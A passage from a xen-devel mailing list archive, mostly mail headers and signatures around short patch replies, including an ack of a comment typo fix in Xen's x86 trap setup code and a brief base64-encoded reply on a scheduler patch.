         zEibtBZxrtEaKRc3HhBAcsyFbY8EPBQTwCo4T6kNAk+Y8VuHJ8HrRPw8whCDYKo5Hphy
         fgT2a+Ck3Shpx7kVFkegPQ66y5CstPHGFc+OMjZs6qYE9IvZWFxj8OonNNp/CAYx41u2
         EaVXxjcZMMoIiCrPQNiQ8n4dFYqt1vkc+fb75kKg/PqBKjndROuKhpAPR/10fYcu04/B
         ARgyLKB9u7XXNg8KTmc5O29XT+e3THxWTMtHto5mv2A4aHbLAU+6wmPwVmSIs5HU42+F
         dIpw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783406477; x=1784011277;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=slwjMIwuvJZ5o/P1hxggnrFkgok2n8+B6q7W7X5ATv8=;
        b=DPEbv2Ygx9fw7lvlkdEgOKrUto/5B+DAEQr6wXQzaFM0K9tyvbEpTGfQNmDGLuceTm
         itFHzPovInrmxVfTnpvDoYHq7jWkPIwxoRYTbzd5KHOVYrg3UO+afHXdvxVjoU4dTQA6
         yGjpZQthFo/VjMUcCPvk8q0AhEwITQRMLPh62YZS6yOTESGp4ip1b6FUr19OulxhlAp6
         aYnOskv3/0eikWxsnWS5KYLyS0IHmRdF2GP8RCWfYQBOCYTecDFxQkLmtDjT0VOnJtvv
         uGcwhiWtftg2fEMTDR2sn1CO4lYP1dp3uAKui2uD548kUdHvGxbgD2Q2MgFNxQg5Byg7
         uMUQ==
X-Forwarded-Encrypted: i=1; AHgh+RqUYFjRilyKyEXEn6W4TTPubmCz5Az3lBBm8SvZ6kbHMOhF7/vdV1Bs/xTDQdKgOaEW8ZdSniPtvwI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwM0inJP496A89RwvCUSirTAksoCtVVEPJ19AkWVaciFEybplMT
	hx4Yoe/9hLKifLpw2Bg21QsRnxKjxPSvw+tNveAg6punxsxq2VkYavQ4UdRjljbFRw==
X-Gm-Gg: AfdE7cnwqN+hkrvFwWSUny+tOOfp8gVbMlhyMGltJiTWcvLps/3VK7n1mg0h+jRkuc0
	g/AMMKu46LJdZIfYaXIZ+qAigtV0VC2+kpR1NPdE2yVUrpXUNVXgW45vPVvYu4KVgHtnHbizgai
	QSer/F3e3hE0WnJYjBK4sMpEBKkQkrb0NlQzWLKZlEuyB0buX9Cfoq1VmLqB2oliyeSv8rLdxTc
	0YBQ+XIRRDEV16SwvqpyPpiO4Nmx3ff12hIC5qp0TMJn+3KU/1QVObVNiiGLs+ptga/A+q+dEsP
	gi/rxcZEqUd3j4JEfOXvSGCrTjJGkvEa6tirImcmbwndd9iwOKVeVCjOmw18MIOW3GVQse8LF61
	SwNGL4mGrexzs80dCvRCR7Sno3EwQw9gXwRf/Ne74KptoWxy+M0Q8+it2FVq3pRg3G7XtqkpEQt
	cewvPmx1zHEixRcc7CIW5g2kzQyutGBH7+0ZCYCw7HbbXYLdrhb66XeJlAPizzWcvJb/T8AIqLt
	N7l
X-Received: by 2002:adf:fc4d:0:b0:46e:8226:96a8 with SMTP id ffacd0b85a97d-47de667671fmr2970286f8f.17.1783406477300;
        Mon, 06 Jul 2026 23:41:17 -0700 (PDT)
Message-ID: <9623dfbc-d953-4abf-bba9-5a275af4c02d@suse.com>
Date: Tue, 7 Jul 2026 08:41:16 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] Fix typo in comment (indicies -> indices)
To: Frediano Ziglio <freddy77@gmail.com>
Cc: Frediano Ziglio <frediano.ziglio@cloud.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <20260706163750.445797-1-frediano.ziglio@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClM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CH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260706163750.445797-1-frediano.ziglio@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1783406477-7D52025E-05534CFC/0/0
X-purgate-type: clean
X-purgate-size: 827

On 06.07.2026 18:37, Frediano Ziglio wrote:
> From: Frediano Ziglio <frediano.ziglio@cloud.com>
> 
> Signed-off-by: Frediano Ziglio <frediano.ziglio@cloud.com>

Acked-by: Jan Beulich <jbeulich@suse.com>

However, I question such a change to be worthwhile the overhead. If this
was a widespread issue, sure. If there were many typos that are being
corrected in one go, perhaps. But otherwise best to correct when the
comment (or at least adjacent code) needs touching anyway.

Jan

> --- a/xen/arch/x86/traps-setup.c
> +++ b/xen/arch/x86/traps-setup.c
> @@ -245,7 +245,7 @@ static void __init init_ler(void)
>  
>      /*
>       * Intel Pentium 4 is the only known CPU to not use the architectural MSR
> -     * indicies.
> +     * indices.
>       */
>      switch ( boot_cpu_data.vendor )
>      {



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 06:47:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 06:47:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355949.1610616 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgza9-0007U5-D8; Tue, 07 Jul 2026 06:47:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355949.1610616; Tue, 07 Jul 2026 06:47:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgza9-0007Tx-AR; Tue, 07 Jul 2026 06:47:01 +0000
Received: by outflank-mailman (input) for mailman id 1355949;
 Tue, 07 Jul 2026 06:47:00 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wgza7-0007Tq-E5
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 06:47:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgza6-00CQoo-QV
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:46:58 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a4ca0da-bab6-0a2a0a5309dd-0a2a4505dd9a-22
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:46:58 +0200
Received: from [40.107.74.102]
 (helo=OS0P286CU010.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a4ca0db-3cb2-0a2a45050019-286b4a66df13-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:46:53 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS9P286MB6616.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:417::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.11; Tue, 7 Jul
 2026 06:46:49 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.009; Tue, 7 Jul 2026
 06:46:48 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=jVAMAglEubYKddE4+sLaRZJe7q+LH8PssV048s6X2/wHaCrOhzwQbNItnwGvJ4UNDGRCK8qtkP/63u8AsznGgVvRgJk6lJWmfUmuMs0Vh5nyNgWfrl16GGX38p0eCI5Yu1eKTeiOw2UubHINnm5qLzBPRJ/Z8UtNAIKDbVV71xD9aZO83tf5F4YcnYdKEhVqNOKsjYby0BEMBLFmAjV3fohdHhyk/a59N9LOEzeAG1cMigXKfmFjLlngBKlvWHF1BRpxVFMtUPzAlU0aKrP2SO7VXnamxuOs71P6QUfPrVHFagvDHGo8sBT5frxA78xhD71OLFBCPErm7TqZyJ9PUA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=feMlZfJtHOqlEdBjOIKXDlaHjBi1avph20RmCeUwH/A=;
 b=iZ+z3C9xCCascQX5dk3b62OlZmhNwtx4PcXHjnPwA3ojepq8xLgoiXJ6TjOJjtnagYhS2tI7QelvN6QZCF90gc1BzGgfgGGmxLajt3iqzLTa17H6VqUzLSZn0KySPL5LkIXjCo58SxmgCTWf9Ikvds2XedX0gUkXYfBWdyLIy8hDnSPhI5+MTHZ9o8YuK9H7p+QajbhpYxz0WebtLJ7cwfrwCa1xOM5R/7hv0cVCg3byz+FWboN+DneqW334Lvs06PrxGvMJNLeLNF3/4Dgo0BJZk6MICbEkrnkL3kIX7tiWKUZU+UEt6Lb7gmGpZHu/2vRzZJYsfUY3EUM1kEiXhg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=feMlZfJtHOqlEdBjOIKXDlaHjBi1avph20RmCeUwH/A=;
 b=NCvGjH/fyBgI9slyc2T9Lv173CWNrOKx9M0BTPk4TuCx9CT8FOL9692wuQtGYFWhesL4jCFH88XGSRd4Q/mAFXj960iscn+mcXIkoDtQRK3s01g1lXsWu4u1CkxiN6Zros0UKH9uzjyOo7+OYmplrKUjS93WvCAegPSPOFbejpo=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>, Anthony PERARD
	<anthony.perard@vates.tech>, Jan Beulich <jbeulich@suse.com>,
	=?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?= <roger.pau@citrix.com>, Timothy Pearson
	<tpearson@raptorengineering.com>, Alistair Francis
	<alistair.francis@wdc.com>, Connor Davis <connojdavis@gmail.com>, Dario
 Faggioli <dfaggioli@suse.com>, Juergen Gross <jgross@suse.com>, George Dunlap
	<gwd@xenproject.org>
Subject: RE: [PATCH v4 2/3] xen/sched: Link CPU topology to scheduler
Thread-Topic: [PATCH v4 2/3] xen/sched: Link CPU topology to scheduler
Thread-Index: AQHdCsyKAF00d3K0tkaMQqAbl3ZPqLZbrPQAgAX19oA=
Date: Tue, 7 Jul 2026 06:46:48 +0000
Message-ID:
 <OS9P286MB72221AEE4CF7FD5C54CD218082F02@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260703091544.183548-1-taka@valinux.co.jp>
 <20260703091544.183548-3-taka@valinux.co.jp>
 <30e859e2-ee54-4d02-ac2c-08f8f80547bf@gmail.com>
In-Reply-To: <30e859e2-ee54-4d02-ac2c-08f8f80547bf@gmail.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|OS9P286MB6616:EE_
x-ms-office365-filtering-correlation-id: da7f0901-0c88-4916-1992-08dedbf38517
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|1800799024|23010399003|366016|376014|7416014|38070700021|18002099003|22082099003|4143699003|56012099006;
x-microsoft-antispam-message-info:
 P1PoHY+XOzrGxrfwlW2IciUsNvF/Qn2UacA7Rc1NjMWJME9xOKpctaeRp4QKGQDHg8V5Ck1ZuuNiTk953QY76e9scgvfx3hUvCApO3i5K9OZD7DRaGXybTQB6maSQZZ5WUedzRD3IX+UYfNn/io7Q7HY6/c3TwTupl3r8ooanjrVR5cbc4wfcSVes2Z1rM5HjSOnXy/SqP5cj7RcWVoHOmVQbIX90uiFaY6mF4fTq1iQ9ptEuXXBGzC7IJDcx/awE+sTOgP/n0etn6Ji8E/9mX9EYUqUxqTRScu8PN6XU1OlBzzEoQhPwtOKFO+G2VSuBY+zlHZr+uKDnbSfRYMWdiVLqe6NqNbSkOmKsC0JfhsR7WZMw6hfZrOsIUbarbViVIgCToYnK+1JkTr2qyy3qsvlWRYH4XGGt1F/nf99DYSIOFAL/5n4XPtiGaKO/lLfgqnkY8SgUHeuxnd83JXajUhXb9tkkCUX9r3Wnfq1hThtI01rHt0W2LU+siBidCALFAQwrLRTW0hvs4iORavvSRbW7XchdFTa1VI+mVj82GnZVwitBU/CebZnMOUBHLhMCEfmtaDnLYlt++IoCEIbkKSz92jnSESh7mXhr615eNzWs++4WHl6FV9rFpriZkPo/RWurDpjvhdR7uviLu4zWXjLWhDdCQos9Q52e4CsdZfbMfaPkqs0rqK1mU9K1Rimwu6akCpdtBnHYsH+vgU3MXdQtMBu+Tn0xVXQKOP1Qgk=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(366016)(376014)(7416014)(38070700021)(18002099003)(22082099003)(4143699003)(56012099006);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?YzNwWXNmMUowcmVQMTBYUExJTXRsaHA1QWowWHpYRy9FQ01OT05UU05SbXRj?=
 =?utf-8?B?KzlGQXRMMGQ3dWc5NVhtQytMOTlURWE4UVZIeWtDb1lEVGZ2VU9LSEJ3TVN1?=
 =?utf-8?B?aC9IRk01YUdSTXJ5cUpsd2RUNFV2L1BOcitpMkhoTHRxM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2VyR0tvdVNES0xzVlhjaVpKeDFuT1ZtREdDNGJuWGNKNnVy?=
 =?utf-8?B?Z3RDbDBVNFFmUHZ0cTZZMVowVVNVbURhQ2toaDh5c0E4b28yYWlrUFh2aDRZ?=
 =?utf-8?B?NzdXNThFc2l1dEkrZS9kMjFhOVA5NGtHN21kQWt0SlpXbU1KZWZGRndOTDF0?=
 =?utf-8?B?UXZpOVJ0ZElOUGhFMTVabStlU1Avay95QUpCZkRDZCtwa2Q0TE9Wb25Tb3o0?=
 =?utf-8?B?aHRmZmdWV2c1RVVsaE5BcCswR1lCQm54anM0V0RJWVdvZnBlUTZyUEw4enc4?=
 =?utf-8?B?cngyYkY0Y3hmUy9MNUdINXYrZk02cSt5THUxVDlnOTg2WjFhdUd2T1E0dVYv?=
 =?utf-8?B?Sk5sTGdWcnByVGNrazJ0aTZ3R1hYOGFZditOa2xtaWc1b2xPSzNrYTJZVmJV?=
 =?utf-8?Q?ldDZBZAlEtZgiE0l5J?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: da7f0901-0c88-4916-1992-08dedbf38517
X-MS-Exchange-CrossTenant-originalarrivaltime: 07 Jul 2026 06:46:48.9147
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: vaPn76c/qkggMYaro0UFdTcZ4CnZyxb1Al6hD4BBGdKWVNzi5B1w23yLqVieb9krI6Cs/IxnIo7dGQsA9EeG9A==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS9P286MB6616
X-purgate-ID: tl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0dZPw0KDQpPb3BzISBJIHdpbGwgZml4IGl0IHNvb24uDQoNCkhpcm9rYXp1IFRha2FoYXNoaS4N
Cg==


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 06:56:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 06:56:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355959.1610625 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgzjH-0000p8-7b; Tue, 07 Jul 2026 06:56:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355959.1610625; Tue, 07 Jul 2026 06:56:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgzjH-0000p1-4U; Tue, 07 Jul 2026 06:56:27 +0000
Received: by outflank-mailman (input) for mailman id 1355959;
 Tue, 07 Jul 2026 06:56:25 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wgzjF-0000ov-TZ
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 06:56:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgzjF-00AuRj-90
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:56:25 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4ca309-bab6-0a2a0a5309dd-0a2a4502b596-36
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:56:25 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4ca318-5a27-0a2a45020019-d155dd2ac5a0-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:56:25 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-47640541585so2328003f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 23:56:25 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9e4d7801sm31810515f8f.16.2026.07.06.23.56.24
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 06 Jul 2026 23:56:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783407384; x=1784012184; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=RyYW1LbO/KwLt+HdMhzGpf50WP7aQjl3/dikEuIxNHI=;
        b=DWDUbVyzP+kxKhvUQ4LLVLBb+KtPQUUcFm5IplNx0XjnjLVI9axWlmrcTX7Ubx96nS
         oO/71v8mPjzZcWwf+MqlQyIfuKhhQ+MtNvdNWcsG+NMx/YNjf+g7Y4d+ktbtc8qe7PQj
         yh2tiKQ0clftDGH8Nl520EWKgr62eIJt5pTqYrHwSow9TSjED1lPiNormroi5pjdN27I
         MTrhkoQojr3TVBit7wRD0ACPJbBl4qqOL+0zRfSBIsgim+yarWDKUsVw0+WJzXpl400T
         Y8f882ZjIjQ2ZpSIgoL0pq37KLQqHY2j/CnMaB49AxMafX6h6Cobz57p+0HgwKRcRnS1
         JAmg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783407384; x=1784012184;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=RyYW1LbO/KwLt+HdMhzGpf50WP7aQjl3/dikEuIxNHI=;
        b=BS4j19CiRxV3/oYtKEcBP9PpkRdaGBP727E3HxRbNru0Y8yxZB6DBu9DW0Yh99//XD
         TMo76sP3dewKHMwI9UsxzmquH9EoZIviKYKZMmsx2ksUrMT2GOjw9ICkeu7kZxNkpSSZ
         ZQH+nSxCWo2/iKaUhI8fMkDD2CqiXQ59POKy2KadYKHg1z9sqWPeVb0xsY0YLnqAVLAz
         NUi24EsD3Yf2Ffe3NiNpBBVC8TvqBcQYtx48n3WoSvoCkiL2HNZWO+tRS8XJQ3qKqo7f
         3OGhCzhiup69claHV+z3yanfhq/aadFlMDmHd81nOo9zHQKdyxjT5EtPMCqIdpnFTWul
         9wIw==
X-Forwarded-Encrypted: i=1; AHgh+RpWkk3LsK/3BBT/EzRAZ2HILX+35evzmTjQeK1VLBi1JwyO6AngjRhPTNObv4FXX5LhFwJ8l5DM+8g=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzyC+iBMd/32jjGa8Mlam0YKiJGGgtQTcw78OShlg3lPQyZMgdX
	p7FEOxeat1nMwvLAGRT/SU/TaB2xn04C8XbwJC/8QpkEs4dtGkvTmoBLEU3Q2Bvb0w==
X-Gm-Gg: AfdE7cnZcqWySr0YlwU2YVOrCi2kdJlEcbSMYWJjvm+Lj3i2TNWYnMpHpDoQkTTah8f
	wie9wCpsKRJG66V82582cCShkaBrq7TlI732UjDnWrcevP3WQpvQfmk/s1fWlJbahiVf+DT9gPJ
	THhyVv7qzS6mo0+2rcdTnxl6x1Qwwa/s/N4Y+k5cxi616iVrwf5qUYGL6qQh0RS3cDo93/Ir+DZ
	AriWkMwNvcK5V33czHRHfGFFGssHf1Y1tFegDrJOXvAq4j/uUVKiaQxFye5ctgqQ8fhKq+XX7og
	5KJikt1wf6tbxTNZYexyCe65wNnoiuiVSkIlaoCVxp7V4rIwAEYnW9+eLmcigaR4P43INYUfa3I
	v597dsfygGayEd1ofiLDRlzaUCXx18F38n/ffAkmshSTj3xNzoeSMNTDGuC5AjVySxj5DHlSra8
	8RJyxFjHzS/uB9mjobUXuD0irj59VIPhTr6zj3g77RHYMa3EM2PZJ9eDaa/LTbhtwR51pl8PB0X
	v3I
X-Received: by 2002:adf:e004:0:10b0:47d:e678:1dd with SMTP id ffacd0b85a97d-47de6780407mr2844420f8f.28.1783407384629;
        Mon, 06 Jul 2026 23:56:24 -0700 (PDT)
Message-ID: <a8b83f78-94ea-4bf9-abca-924513e250aa@suse.com>
Date: Tue, 7 Jul 2026 08:56:23 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 1/3] x86/hvm: Use PUSH_AND_CLEAR_GPRS in preference to
 SAVE_ALL
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260706153415.1264750-1-andrew.cooper3@citrix.com>
 <20260706153415.1264750-2-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
